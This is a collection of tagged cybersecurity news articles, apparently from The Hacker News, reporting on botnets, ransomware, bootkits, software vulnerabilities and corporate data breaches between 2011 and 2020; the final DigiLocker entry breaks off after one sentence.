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9 million PCs infected with ZeroAccess botnet | https://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html | In recent months, we've seen the rootkit family Win32/Sirefef and Win64/Sirefef (also known as ZeroAccess Botnet) update its command and control protocol and grow to infect more computers while connecting to over one million computers globally.
Before, disclosed that it creates its own hidden partition on the hard drive and uses hidden alternative data streams to hide and thrive. Then ZeroAccess developer changed infection tactics and stopped using kernel-mode components in the latest version Security firms tracked the growth of x64 version infections. But Recently uncovered by SophosLabs that ZeroAccess botnet took a major shift in strategy and operating entirely in user-mode memory.
There are two distinct ZeroAccess botnets, and each has a 32-bit version and a 64-bit version, numbering four botnets in total. Each botnet is self-contained because it communicates exclusively on a particular port number hard-coded into the bot executable. The botnets can be categorised based on their port numbers. Ports 16464 and 16465 are used by the 32-bit and 64-bit versions of one botnet; ports 16470 and 16471 are used by the 64-bit and 32-bit versions of the other botnet.
They also disclose the ZeroAccess has been installed on computers over nine million times with the current number of active infected PCs numbering around one million.
The current size of the botnet is somewhere in the region of 9 million machines spread throughout the world, but with the majority located in the U.S.
Other than U.S other top infected countries are :
Brazil
Japan
Romania
Argentina
Venezuela
Chile
The ZeroAccess botnet currently creates two primary revenue streams: click fraud and Bitcoin mining. Click fraud and Bitcoin mining can earn the botnet owners a potential $100,000 a day. "The traffic generated by the ad-click fraud can burn through your bandwidth cap. We have been following a number of bots such as ZeroAccess whose primary function is ad-click fraud. These bots receive instructions from a controller directing them to click on ads on specific web sites. The web site owner gets paid by the advertiser on a per click basis usually through the intermediary of an ad network. The advertisers and ad network operator have a number of safeguards in place to protect against click fraud," the report said.
The ZeroAccess botnet not only makes large amounts of money for its owners but it also causes significant damage and loss in a variety of ways to a variety of individuals and entities. Various aspects of ZeroAccess' operation consume considerable bandwidth. This is 1,227,300 bytes per hour, 29,455,200 per day and 895,929,000 bytes per month. 895 MB per month per bot means a botnet with 1 million nodes could be producing as much as 895,000,000 MB or 895 Terabytes of network traffic per month. And all of this occurs before any files are actually downloaded using the protocol.
The peer-to-peer protocol used by the latest version of ZeroAccess contains only a few commands and is designed to spread files and IP addresses across the network quickly. It is encrypted to avoid easy detection and there are a number of measures taken to avoid the network being poisoned or taken over. This generally held at around 150,000 new installations per day, with a noticeable drop at the end of August.
| Malware |
Top 4 Data Breaches reported in last 24 Hours | https://thehackernews.com/2016/05/top-data-breach.html | There is no doubt that data breaches are on the rise. Hardly a day goes without headlines about any significant data breach.
According to the latest 'Cyber Security Breaches Survey 2016' report published by UK government, two-thirds of the biggest firm in the UK have experienced at least a cyber attacks or data breaches within the past 12 months.
Here's today, I am writing about top 4 data breaches reported in last 24 hours, threatened your data privacy and online security.
1. Kiddicare Hacked! 794,000 Accounts Leaked
Kiddicare has admitted that the company has suffered a data breach, which led to the theft of sensitive data belonging to 794,000 users, including phone numbers and residential addresses.
Kiddicare, company that sells child toys and accessories across the United Kingdom, became aware of the data breach after its customers started receiving suspicious text messages – most likely part of a phishing campaign – that attempted to pilfer them to click on a link that takes them for an online survey.
Although the company assured its customers that no banking or financial detail have been compromised in the breach, personal information belonging to nearly 794,000 customers, including their names, delivery addresses, email addresses and telephone numbers, have been exposed.
2. UserVoice Hacked! Users' Accounts Breached
Today morning, I received an email from UserVoice, a web-based service that offers customer service and helpdesk tools, notifying that the company suffered a data breach and some user accounts were compromised, including their names, email addresses, and passwords.
The company admitted that user passwords were protected with the SHA1 hashing algorithm, which is considered as a weak encryption.
"Despite the fact that the passwords were encrypted, it is very possible that an attacker can decrypt this information," the company notified. "As a precautionary measure, we have reset all UserVoice passwords to prevent any chance of the attacker gaining further access to accounts."
Some famous companies are using customer service tools from UserVoice, including Twitch, Microsoft and more.
3. Google Suffers Insider Data Breach
Google suffered a minor data breach after a vendor unintentionally leaked sensitive information about its undisclosed number of employees to the wrong email address — but luckily, the person who received it deleted the email straight away.
According to report, the data breach happened after an employee at a third-party company that Google uses for its staff benefit management service mistakenly sent personal data to another company.
Google is still investigating the insider data breach that leaked the personal details of Google employees apparently included Social Security Numbers (SSNs) and names, but no details on benefits or family members.
4. London Clinic fined £180,000 for Leaking HIV Patients Data
The Information Commissioner's Office (ICO) has imposed a £180,000 (about $260,000) fine to a London-based HIV clinic run by Chelsea and Westminster Hospital National Health Service (NHS) Foundation Trust, for leaking data of 781 HIV patients
The clinic mistakenly sent a newsletter email containing sensitive medical information relating to a total 781 HIV patients together rather than individually, using 'bcc' field in the email, leaking their names and email addresses to one another.
"People's use of a specialist service at a sexual health clinic is clearly sensitive personal data," Information Commissioner Christopher Graham said. "The law demands this type of information is handled with particular care following clear rules, and put simply, this did not happen."
The Clinic's medical director said:
"We fully accept the ruling of the ICO for what was a serious breach, and we have worked to ensure that it can never happen again."
| Data_Breaches |
New Apple vulnerability allows Malicious keylogger App to Record User Inputs | https://thehackernews.com/2014/02/new-apple-vulnerability-allows.html | Yet another Apple vulnerability has been exposed by security researchers, that can be exploited to track your finger's every action on iOS Devices i.e. iPhone, iPad etc.
The exploit reportedly targets a flaw in iOS multitasking capabilities to capture user inputs, according to Security researchers at FireEye.
They found a way to bypass the Apple's app review process effectively and created a proof-of-concept Monitoring app for non-jailbroken iOS 7.0.x devices.
The "monitoring" app, that runs in the background of the iPhone is a Keylogger Trojan which could allow hackers to monitor user's activities on the mobile device, including - touches on the screen, home button press, volume button press and TouchID press, and send all collected events to any remote server.
According to researchers, their proof-of-concept app works on versions 7.0.4, 7.0.5, 7.0.6, and 6.1.x.
"Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring." FireEye researchers said.
In iOS devices, the application running in the background keeps on refreshing itself; but the researchers also noted that disabling iOS 7's "Background App Refresh" setting would not restrict a malicious app from keylogging.
"For example, an app can play music in the background without turning on its "background app refresh" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring." FireEye explained, So the only present solution to the problem is to manually remove apps from the task switcher.
Earlier this week, Apple has issued an urgent update iOS 7.0.6 in response to a SSL vulnerability that might allow hackers to bypass SSL/TLS verifications on shared and public networks and steal users information from affected devices, including log-in usernames and passwords, as well as other sensitive information.
The Security firm is actively working with Apple on the issue, but until the release of next iOS update, the only thing iOS users can do - Check and monitor the unnecessary applications running on the device via Task Manager and KILL THEM.
Last month, Trustwave's Neal Hindocha also demonstrated that even Smartphone screen swipe gestures can be analyzed by hackers and as a proof-of-concept he developed a prototype 'Screenlogging' malware for the iOS and Android Smartphones that works the same as a keylogger software for desktop.
| Vulnerability |
Adobe Releases Critical Security Updates for Flash Player, Acrobat and Adobe Reader | https://thehackernews.com/2014/08/adobe-security-update.html | Adobe has released security updates to fix seven vulnerabilities in its Flash and Air platforms and one in its Reader and Acrobat which, according to the company, is being exploited by attackers in wild "...in limited, isolated attacks targeting Adobe Reader users on Windows."
The vulnerabilities could allow an attacker to "take control of affected systems" marked critical by the company.
A new, out-of-band patch addresses a zero-day vulnerability (CVE-2014-0546) in Adobe Reader and Acrobat that offers an attacker the possibility to bypass sandbox protection and has been leveraged in "limited, isolated attacks" against Windows users.
"These updates resolve a sandbox bypass vulnerability that could be exploited to run native code with escalated privileges on Windows," Adobe warned.
The lone vulnerability in Adobe Acrobat and Reader was reported by Kaspersky Lab Global Research and Analysis Team director Costin Raiu and Vitaly Kamluk.
However, details of the vulnerability were not disclosed, but Raiu said in a blog post that exploits have been observed in a rare number of targeted attacks, and that it's still important for everyone to patch as soon as possible.
"At the moment, we are not providing any details on these attacks as the investigation is still ongoing," Raiu said. "Although these attacks are very rare, just to stay on the safe side we recommend everyone to get the update from the Adobe site as soon as possible."
The Apple OS X versions of Acrobat and Reader are not vulnerable. Only Reader and Acrobat versions 11.0.07 and earlier for Windows are affected, according to the company.
The other security update patches seven vulnerabilities in Flash Player, most of which are rated critical by the company, but none of the Flash vulnerabilities are being exploited in the wild, Adobe said.
Five of the updates resolved memory leakage vulnerabilities that can be used to bypass memory address randomization. Rest two patches address a security bypass vulnerability and a use-after-free flaw that could allow an attacker to remotely execute code on the affected system.
The affected versions are as follow:
Adobe Flash Player 14.0.0.145 and earlier versions for Windows and Macintosh
Adobe Flash Player 11.2.202.394 and earlier versions for Linux
Adobe AIR 14.0.0.110 and earlier versions for Windows and Macintosh
Adobe AIR 14.0.0.137 SDK and earlier versions
Adobe AIR 14.0.0.137 SDK & Compiler and earlier versions
Adobe AIR 14.0.0.137 and earlier versions for Android
The company urged its users to apply the updates within three days on Windows, Mac, and Linux platforms. Users may update Acrobat and Reader with the Help > Check for Updates menu option. Flash Player users may download the latest version from Adobe. Users of Internet Explorer and Google Chrome on Windows 8 and above will receive browser updates from those companies with fixed versions of their integrated Flash Player.
Microsoft has also rolled out nine security updates to address at least 37 security holes in Windows and related software, including Internet Explorer, Windows Media Center, One Note, SQL Server, and SharePoint.
The company has also made some important changes this month. Microsoft announced that it will soon begin blocking out-of-date ActiveX controls for Internet Explorer users, and will support only the latest versions of the .NET Framework and IE for each supported operating system.
| Vulnerability |
Dumb Ransomware Developer leaves Decryption Keys on Infected Computers | https://thehackernews.com/2014/04/dumb-ransomware-developer-leaves.html | So, How do Hackers compromise a Website? Simply by exploiting the flaws in it, that means they took advantage of the error in the developers' code. Now, this time the hackers itself has left behind a crucial flaw in its malware code which can be exploited by us to help save our computer systems.
Believe me, it's not an April Fools' joke! A malicious software program that holds the victims' computer files hostage by wrapping them with strong encryption until the victim pays a ransom fee to get them decrypted, has a critical flaw in its malware code itself that it leaves the decryption key on the victim's computer.
The Anti-virus firm Symantec examined a sophisticated malware program dubbed as CryptoDefense (Trojan.Cryptodefense) ransomware, which appeared in the end of the last month.
CryptoDefense is one of the complex malware programs that include a number of effective techniques, including Tor anonymity tool usage and Bitcoin digital currency to extort money from victims. CryptoDefense uses Microsoft's infrastructure and Windows API to generate the encryption and decryption keys, the antivirus firm wrote on its blog.
CryptoDefense encrypts files using public-key cryptography, a strong RSA 2048 encryption in order to ensure files are held to ransom and transmits the private key in plain text back to the attacker's server, so that as soon as the ransom amount is paid by the victim, the attacker will release the private keys to decrypt the files.
So, if once the files have been encrypted, without access to the private key, victims will not be able to decrypt the files. But here they stumbled, the CryptoDefense' developer failed to realize that the private key is also left concealed on the user's computer in a file folder with application data.
"Due to the attacker's poor implementation of the cryptographic functionality they have, quite literally, left their hostages a key to escape," Symantec wrote.
Despite the dumb mistake of the malware developer, it is not sure that it will left the users untouched, because some technical skills is required to figure out the decryption keys.
CryptoDefense is been sent out as spam emails, or masquerade itself as a PDF file and once installed in the system, it attempts to communicate with either of the four domains and uploads a profile of the infected machine, the firm wrote.
The Cyber Criminals demand either $500 or €500 that has to be paid within four days and if victim doesn't pay the ransom in the given time frame, the ransom doubles itself.
According to the firm, it is estimated that the cybercriminals received more than $34,000 worth of Bitcoin in just a month, which shows the effectiveness of their scam.
Symantec said it has blocked 11,000 unique CryptoDefense ransomware infections in more than 100 countries, with the majority of the infection attempts are noticed in the U.S. followed by the U.K., Canada, Australia, Japan, India, Italy and the Netherlands.
| Malware |
Critical Vulnerability and Privacy LoopHole Found in RoboForm Password Manager | https://thehackernews.com/2014/07/critical-vulnerability-and-privacy.html | Unless you are a human supercomputer, remembering password is not so easy, and that too if you have a different password for each site. But luckily to make the whole process very easy, there is a growing market out there for password managers and lockers with extra layers of security.
But, if you are using the mobile version of most popular password manager from Password management company RoboForm to manage your passwords then you might be at a risk, claimed a UK based Security researcher.
I am personally using RoboForm from last few months, which is a great password manager application developed by Siber Systems Inc. for various platforms that stores your sensitive data all in one place, protected at RoboForm account and encrypted by a secret master password. RoboForm user be able to then quickly access those passwords and notes anytime, anywhere.
But a IT security consultant and tech enthusiast Paul Moore discovered one critical vulnerability in its app and one Privacy loophole in the RoboForm's service, that could allow attackers and prying eyes to get users' personal data, including stored login credentials of various websites and payment card details.
Note: Yesterday we published this article with a conclusion that RoboForm is secure, but later after re-evaluating and discussing all factors, attack vectors with Moore, we found that RoboForm may leak your private data to attackers.
1) BYPASSING ROBOFORM DEVICE PIN PROTECTION
The vulnerability disclosed by Paul Moore in the security of RoboForm affects its Android and iOS app users, which could allow anyone to bypass RoboForm's PIN Protection in order to access users' sensitive data.
RoboForm mobile apps offer a PIN protection which only protects the app interface from unauthorized access, just like Android's popular 'AppLock' application.
Moore claimed that simply by deleting a specific line (pref_pincode) in the RoboForm's preferences file placed in a folder on the device file system, It was possible for Moore to access confidential data and bypass authentication process on an Android device, even without the requirement of the Master Password, as shown in the Video demonstration uploaded by him.
The important point to be noted here is that the RoboForm's app folder which Moore claims to access is actually placed in root directory of the device, which can't be accessed by the user or any 3rd party app on a non-rooted device.
However, RoboForm team failed to reproduce the flaw and refused the bug report. "We are not able to replicate it. As I mentioned in the write-up, it's done using an emulator, not a real device. While it's feasibly possible, it's very unlikely that the average person finding a phone with RoboForm installed could execute the precise steps needed to do what Mr. Moore is doing with the emulator." RoboForm team said.
Yesterday, when I also failed to reproduce it myself on my Android device, then Moore explained me that even after modification, the Roboform app loads the preference file from its cache. So either Roboform app or device requires to restart in order to bypass the PIN protection.
Finally, I tried again. After restarting my Samsung Galaxy S4, I found that Roboform app opened without asking any PIN. Cool! Moore's vulnerability works.
The vulnerability is serious, because the Roboform app stores all my passwords, secret notes and payment card details in it, and PIN bypass cloud allow anyone in 5 minutes with my phone to steal all my sensitive data.
"Additionally, our position is that if someone is able to root a phone, it's not just RoboForm that is vulnerable. Any other sensitive app would be vulnerable." RoboForm team added.
For successful exploitation, the targeted device should be rooted or jailbroken, but it can be easily done by attackers on the stolen devices.
2.) PRIVACY LOOPHOLE: MASTER PASSWORD SECRECY
Moore believes that the company as a privacy loophole, allows them to store users' secret master password on their server at Siber Systems. But before proceeding to the details of this loophole, you should first learn - How Roboform works.
After installing the Roboform app on Android or Windows system, it will ask you to either register or login with a RoboForm account. Once logged-in, you will get options to create or edit the payment card details, Notes and account passwords, etc.
The Mobile app or desktop software will then prompt the user to set a "Master Password" in order to encrypt the data with a strong military grade encryption. Company claims that the Master Password works like a private crypto key, used to encrypts files locally on the device and then app upload them to their server in .RFN format.
Moore claims that company stores the Master password, and asked on Twitter, "How do you decrypt online before returning the data if you don't get the key?", In Reply RoboForm said, "Paul, we decrypt the data locally, not on the servers."
Once done, the master password will get stored only on the device to automate the future encryptions and decryptions for the users' convenience.
ROBOFORM WEB APP CAN STORE YOUR MASTER PASSWORD
Until here, Moore and me agree that the company is not capturing our private master password on the device apps or windows apps, but Roboform Everywhere also has online web app at https://online.roboform.com/login?lang=en location.
Using this web app hosted on Siber System servers, users can login to their Roboform account and access the stored data from the web browser, as shown:
But before accessing the encrypted data, users are required to enter their master password in order to decrypt it, that means users are sending their master keys to Siber System servers and company is decrypting the data on their servers.
The above mechanism is completely opposite and conflicts with the company's policies, which claims that they do not store users' master key on their servers, instead they decrypt the data locally on the users' device.
"The Server has the necessary key required to decrypt the data. Breaking the key into segments does nothing to increase security. Ultimately, it doesn't change the fact that at some point, the private key is no longer private." Moore justified his claim.
At this moment neither I, nor Moore can proof that the company is saving your master key permanently after you once decrypt your data online via Roboform's web app, but in this age of mass surveillance, where every company is gathering our information and damaging our privacy, it is hardly to trust on any company, like - "we get it, but we don't store it."
CONCLUSION
PIN bypass vulnerability is working on all rooted and jailbroken devices, and it poses high risk where an app is developed with an aim to store your sensitive data securely with military grade encryption.
We can't judge the intentions of the company, but the reported privacy loopholes could also allow government and law enforcement agencies to scrape our sensitive data by hook or crook.
The company has promised to re-evaluate the way they store the Master Password on mobile devices and will enforce the user to enter their Master Password after a reboot, even if the user chooses the option to set the Master Password to 'Off'.
"This way, if a phone is lost and a third party tries to access RoboForm either by guessing the PIN or bypassing the PIN function, the third party would still be required to know the Master Password," said RoboForm.
| Vulnerability |
Linux worm targeting Routers, Set-top boxes and Security Cameras with PHP-CGI Vulnerability | https://thehackernews.com/2013/11/Linux-ELF-malware-php-cgi-vulnerability.html | A Symantec researcher has discovered a new Linux worm, targeting machine-to-machine devices, and exploits a PHP vulnerability (CVE-2012-1823) to propagate that has been patched as far back as May 2012.
Linux worm, which has been dubbed Linux.Darlloz, poses a threat to devices such as home routers and set-top boxes, Security Cameras, and even industrial control systems. It is based on proof-of-concept code released in late October and it helps spread malware by exploiting a vulnerability in php-cgi.
"Upon execution, the worm generates IP addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability. If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target." the Symantec researchers explained.
The malware does not appear to perform any malicious activity other than silently spreading itself and wiping a load of system files.
So far the malware variant targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures.
However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL.
No attacks have been reported in the wild, but warned that most users would not realize they were at risk as they would be unaware that their own devices ran on Linux.
To protect their devices from the worm, users are advised to update their software to the latest version, make device passwords stronger and block incoming HTTP POST requests to the -/cgi-bin/php* paths.
| Vulnerability |
Deloitte Hacked — Cyber Attack Exposes Clients' Emails | https://thehackernews.com/2017/09/deloitte-hack.html | Another day, another data breach. This time one of the world's "big four" accountancy firms has fallen victim to a sophisticated cyber attack.
Global tax and auditing firm Deloitte has confirmed the company had suffered a cyber attack that resulted in the theft of confidential information, including the private emails and documents of some of its clients.
Deloitte is one of the largest private accounting firms in the U.S. which offers tax, auditing, operations consulting, cybersecurity advisory, and merger and acquisition assistance services to large banks, government agencies and large Fortune 500 multinationals, among others.
The global accountancy firm said Monday that its system had been accessed via an email platform from October last year through this past March and that "very few" of its clients had been affected, the Guardian reports.
The firm discovered the cyber attack in March, but it believes the unknown attackers may have had access to its email system since October or November 2016.
Hackers managed to gain access to the Deloitte's email server through an administrator account that wasn't secured using two-factor authentication (2FA), granting the attacker unrestricted access to Deloitte's Microsoft-hosted email mailboxes.
Besides emails, hackers also may have had potential access to "usernames, passwords, IP addresses, architectural diagrams for businesses and health information."
"In response to a cyber incident, Deloitte implemented its comprehensive security protocol and began an intensive and thorough review including mobilising a team of cybersecurity and confidentiality experts inside and outside of Deloitte," a Deloitte spokesperson told the newspaper.
"As part of the review, Deloitte has been in contact with the very few clients impacted and notified governmental authorities and regulators."
Deloitte's internal investigation into the cyber incident is still ongoing, and the firm has reportedly informed only six of its clients that their information was "impacted" by the breach.
Deloitte has become the latest of the victim of the high-profile cyber attack. Just last month, Equifax publicly disclosed a breach of its systems that exposed personal data of as many as 143 million US customers.
Moreover, last week the U.S. Securities and Exchange Commission (SEC) also disclosed that hackers managed to hack its financial document filing system and illegally profited from the stolen information.
| Data_Breaches |
Dell Resets All Customers' Passwords After Potential Security Breach | https://thehackernews.com/2018/11/dell-data-breach-hacking.html | Multinational computer technology company Dell disclosed Wednesday that its online electronics marketplace experienced a "cybersecurity incident" earlier this month when an unknown group of hackers infiltrated its internal network.
On November 9, Dell detected and disrupted unauthorized activity on its network attempting to steal customer information, including their names, email addresses and hashed passwords.
According to the company, the initial investigation found no conclusive evidence that the hackers succeeded to extract any information, but as a countermeasure Dell has reset passwords for all accounts on Dell.com website whether the data had been stolen or not.
Dell did not share any information on how hackers managed to infiltrate its network at the first place or how many user accounts were affected, but the company did confirm that payment information and Social Security numbers were not targeted.
"Credit card and other sensitive customer information were not targeted. The incident did not impact any Dell products or services," Dell says.
You are affected if you have ever created an account on the Dell website to purchase any of their products or to access the online support.
"Upon detection of the attempted extraction, Dell immediately implemented countermeasures and initiated an investigation. Dell also retained a digital forensics firm to conduct an independent investigation and has engaged law enforcement," the company said.
We will update this story as more information becomes available.
| Cyber_Attack |
FBI cracks International Bot Network ! | https://thehackernews.com/2011/04/fbi-cracks-international-bot-network.html | FBI cracks International Bot Network !
The Department of Justice and FBI declared that it has cracked a network of hackers, who have infected almost 2 million computers with a harmful "bot" program, Coreflood that steals private and monetary data from computers.
Identified as a "bot" network- as the malware can be managed distantly like a robot- it compromises machines with a software program called Coreflood, which downloads itself by finding out the vulnerability in systems, that are running Windows operating systems.
The legal actions are the key components of the "most complete and inclusive enforcement action ever taken by the U.S. authorities to put out of action an international botnet", as per the statement from the Department of Justice, reports cnet News on April 13, 2011.
As per a request from a temporary restraining order that was granted, it's the first time USA law enforcement has taken consent from a court for controlling a botnet.
This malware (Coreflood) stores keystrokes and personal communications, making it enable to compromise login details, like passwords, and other personal and monetary data. Once a system is compromised with Coreflood, the malware contacts a command-and-control server, allowing it to distantly control the compromised machine.
The government replaced the unauthentic command and control servers with substitute servers to prevent Coreflood from being used for any more harmful activity.
U.S. Attorney David B. Fein for the District of Connecticut stated that the seizure of the Coreflood servers and Internet domain names can stop hackers from using Coreflood or systems infected by Coreflood for their evil purpose. He stated that he wished that his industry partners to work in cognition with the law enforcement in order to attain this great result, as per the news by CRN on April 13, 2011.
But, it is impossible to know exactly the number of victims claimed by Coreflood, as machines are continuously being infected, disinfected and sometimes reinfected. While investigators estimated 413, 710 infected machines from March 2009 to January 2010, the total number of machines those were, or had been, part of Coreflood is more than 2.3 million, with almost 1.8 million seems to be located in the USA.
| Malware |
191 Million US Voters' Personal Info Exposed by Misconfigured Database | https://thehackernews.com/2015/12/us-voter-database-hacked.html | BREAKING: A misconfigured database has resulted in the exposure of around 191 Million voter records including voters' full names, their home addresses, unique voter IDs, date of births and phone numbers.
The database was discovered on December 20th by Chris Vickery, a white hat hacker, who was able to access over 191 Million Americans' personal identifying information (PII) that are just sitting in the public to be found by anyone looking for it.
Vickery is the same security researcher who uncovered personal details of 13 Million MacKeeper users two weeks ago, which included names, email addresses, usernames, password hashes, IP addresses, phone numbers, and system information.
However, the recent discovery made him shocked when he saw his own information in the database, according to DataBreaches.net, whom the researcher contacted and provided all the details about his finding.
300GB Trove of Voters' Information Leaked
Vickery has his hands on all 300GB of database contains a long list of voter records including:
Full name (first, middle, last)
Residential address
Mailing address
A unique voter ID
State voter ID
Gender
Date of birth
Date of registration
Phone number
Political affiliation
A detailed voting history since 2000
Fields for voter prediction scores
Not just his own, but Vickery also looked up a number of police officers in his city and confirmed the information was all correct. Reporters from CSO and DataBreaches.net also did the same and upheld the accuracy as well.
Fortunately, the database doesn't contain Social Security Numbers, driver license numbers, or any financial data, but it's still a massive amount of data when it comes to protecting users privacy and security.
What's even more Shocking?
The crazy part of the data breach is no one is taking responsibility for the exposed database.
Vickery, CSO and DataBreaches.net contacted various political tech groups and known voter information companies, but all denied the database belonged to them.
The FBI and Internet Crime Complaint Center were all approached by Vickery and DataBreaches.net; so let's now see how long this information remains alive and accessible for anyone to see.
| Data_Breaches |
U.S Emergency broadcast System vulnerable to hackers | https://thehackernews.com/2013/07/us-emergency-broadcast-system.html | A major vulnerability has been discovered in the U.S. Emergency Alert System, researchers have warned.that could allow hackers to break into the system and broadcast fake messages to the United States.
According to a new report by security firm IOActive, U.S. Emergency Alert System, the system used to broadcast to the United States in times of national crisis can be hacked remotely by hackers.
Recent firmware update of DASDEC-I and DASDEC-II application servers disseminated the secure shell (SSH) keys, that allows anyone with limited knowledge to log in at the root level of the server. Technically, compromising the DASDEC systems doesn't sound too difficult. In that scenario, an attacker could take over the system and issue emergency messages.
Monroe Electronics was notified about vulnerabilities in its equipment in January and the company's internal development team developed a software update that was made available in March.
The Emergency Alert System devices are installed at large and small broadcasters. The EAS is designed to enable to the President of the United States to speak to US citizens within 10 minutes of a major disaster occurring.
These alerts were passed among stations using wire services, which connected to television and radio stations around the U.S. When a station received an official notification, it would disrupt the current broadcast to deliver the message to the public.
| Vulnerability |
Apple Kicks Out some Malicious Ad-Blocker Apps from its Online Store | https://thehackernews.com/2015/10/apple-security-hacked.html | Apple has removed several apps from its official iOS App Store that have the ability to compromise encrypted connections between the servers and the end-users.
Apple has officially said:
We have removed a "few" apps from the iOS App Store that could install root certificates and allow monitoring your data.
It's like- they have analyzed and admitted that they lacked in the auditing of the App Store hosted Apps.
The company is also advising its users to uninstall the malicious apps from their iPhones, iPads and iPods in order to prevent themselves from monitoring, though it has yet to name the offending apps.
App Store Apps Spy on Encrypted Traffic
The challenge that stood before Apple was, they discovered that "few" of the Apps in the iOS App Store were capable of spying on the users by compromising SSL/TLS security solutions of their online communication.
Root certificates are the fundamental part of how encrypted connections like HTTPS verify the site users are connecting to and creating a secure environment for them to get access to various resources. Their updates also happen on a timely basis.
Root certificates allow public key encryption to browsers and other services to validate certain types of encryption and ensure that user is redirected to that website or server that he requested.
However, in Apple's case, the fraudulent apps were acting as an interface between the secure connections and exposing all private Internet traffic of the user.
However, to get rid of the problem, Apple has removed various apps from their App Store that could decrypt the "Encrypted Connection" between the user and the server to which the user is connected to.
Apple Yet to Disclose the names of Offending App
Apple did not disclose the names of such Apps, instead said that there are few of them with bitter intents and for which, they left the users displeased, as:
They want the users to uninstall the Apps, but which ones to remove they are least bothered.
Also, they have given directions for "How to delete an app that has a configuration profile on your iPhone, iPad, or iPod touch," on their support page, but…
...Does that make any difference?
As how are the people going to identify which Apps to uninstall!
Furthermore, in a similar incident developer of an app commonly known as Been Choice was removed from the iOS store, consequently the developer posted on Twitter about they being 'Pulled Off' from iOS store and mentioned that:
"We'll remove ad blocking for FB, Google, Yahoo, and Pinterest apps."
Therefore, it can be assumed that Been Choice's, Ad-blocker app which functioned in such a way that it installs root certificates in order to block ads inside apps, might be gathering private details of the user through ad blocking facility via installing root certificates.
One thing is important to note here, which is- Apple allowed such Apps that were installing Root certificates on the users' device.
Meanwhile, all the iPhone, iPad and iPod touch device holders are requested to uninstall any suspicious app from there device; until Apple reveals the names of those apps.
| Vulnerability |
Millions of Passwords leaked from Social Site Formspring | https://thehackernews.com/2012/07/28-million-passwords-leaked-from-social.html | Formspring, a social Q&A website popular with teenagers,this week disabled its users' passwords after discovering a security breach. Formspring founder and CEO Ade Olonoh apologized to users for the inconvenience, and advised them to change their passwords when they log back into Formspring.
A blog entry posted by Formspring's CEO and founder Ade Olonoh explains that the passwords of all 28 million users have been disabled and the company was notified that 420,000 password hashes that seem to belong to its users have been posted to a security forum, and immediately began an internal investigation.
Usernames and other identifying information were not posted with the passwords, but Formspring found that someone had broken into one of its development servers and stolen data from a production database.
Encrypted passwords aren't immediately useable, although they can sometimes be decoded by a savvy attacker.
Formspring launched in 2009 as a crowd-powered question-and-answer site. Last month, the company announced a major revamp intended to shift the site's focus toward users' interests.
The company is now reviewing its security practices to ensure that a repeat of the incident does not occur.The algorithm used to hash passwords at the time of the leak was SHA-256 and the company was vigilant enough to use random salts. After this attack, however, it has updated its security stance to use bcrypt.
| Vulnerability |
Nemesis Bootkit — A New Stealthy Payment Card Malware | https://thehackernews.com/2015/12/nemesis-banking-malware.html | Another day, another stunning Malware – this time targeting banks, payment card processors, and other financial services.
Security researchers have uncovered a sophisticated payment card malware that executes before the operating system boots, making the malware very difficult to detect and much less remove.
The malware in question is part of "Nemesis" – a malware suite that includes all software programs for capturing screens, transferring files, injecting processes, logging keystrokes, and carrying out other malicious activities on the infected computers.
Nemesis malware family has been seen in the past, targeting banks, ATMs, financial transaction processing, credit unions, and financial business service companies.
Nemesis Bootkit Malware – Reappears even after Re-installation of the OS
The malware with bootkit functionality has been in operation since early this year and has the ability to modify the legitimate VBR (Volume Boot Record) that makes the malware possible to load before Windows starts.
This makes the malicious threat hard to detect and remove using traditional security approaches.
Moreover, the malware resides in a low-level portion of a hard drive.
This makes the malware infection reappears even after the complete reinstallation of the Windows operating system.
"The malware that persists outside of the operating system (OS) requires a different approach to detection and eradication," security analysts from FireEye wrote in a blog post published Monday.
"Malware with bootkit functionality can be installed and executed almost entirely independent of the Windows [OS]. As a result, incident responders will need tools that can access and search raw disks at scale for evidence of bootkits."
How Does the Malware Work?
Early this year, the cyber criminals tweaked Nemesis to include a utility called BOOTRASH that has the ability to modify an infected computer's boot process.
In a normal boot, any Windows PC reads data from a hard drive's MBR (Master Boot Record) that loads the VBR – a piece of code specific to an operating system containing instructions for the OS to begin the boot process.
The process typically looks like this:
The VBR then normally loads the operating system code, but BOOTRASH loads:
First, the malicious code that injects the Nemesis components stored in the virtual file system into the Windows kernel
Then the Operating System code
Since BOOTRASH is loaded outside of the machine's OS, it is not subject to any kind of integrity checks, nor are any of its components scanned by system's Anti-Virus program, which helps the malware evade detection.
According to the researchers, versions of BOOTRASH are targeting both 32-bit and 64-bit Windows architectures. Moreover, due to this newly added Bootkit component, reinstalling the OS will not remove the Nemesis malware.
Hackers behind Nemesis Malware
FireEye researchers believe the Nemesis bootkit malware belongs to a financial crime group of hackers, likely based in Russia, called FIN1.
"We identified the presence of a financially motivated threat group that we track as FIN1, whose activity at the organization dated back several years," FireEye researcher wrote. "The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as 'Nemesis' by the malware developer(s)."
The researchers believe that the FIN1 hacking group used this malware, most of the times, to access victims environment and steal cardholders data. In the past, the researchers came across different versions of the Nemesis family when they analyzed FIN1's malware.
How to Protect Your Systems From Nemesis Bootkit Malware?
Re-installing the operating system of your Windows machine is not a sufficient method to get rid of this malware.
The solution against this malware threat is to use software tools that can access and scan raw disks at scale for evidence of Bootkits, or physically wipe the disks before reinstalling the operating system.
"System administrators should perform a complete physical wipe of any systems compromised with a bootkit and then reload the operating system," FireEye researchers recommend.
Nemesis is by no means the first malware family to hijack normal boot process of a PC in an effort to gain persistence and stealth, but it is not the first malware family that contains bootkit functionality.
In the past, researchers detected malicious threats such as TDL4 (Olmarik), Rovnix, Necurs, and Carberp. Among these, Carberp banking trojan targeted financial institutions.
| Malware |
Any Indian DigiLocker Account Could've Been Accessed Without Password | https://thehackernews.com/2020/06/aadhar-digilocker-hacked.html | The Indian Government said it has addressed a critical vulnerability in its secure document wallet service Digilocker that could have potentially let a remote attacker bypass mobile one-time passwords (OTP) and sign in as other users.
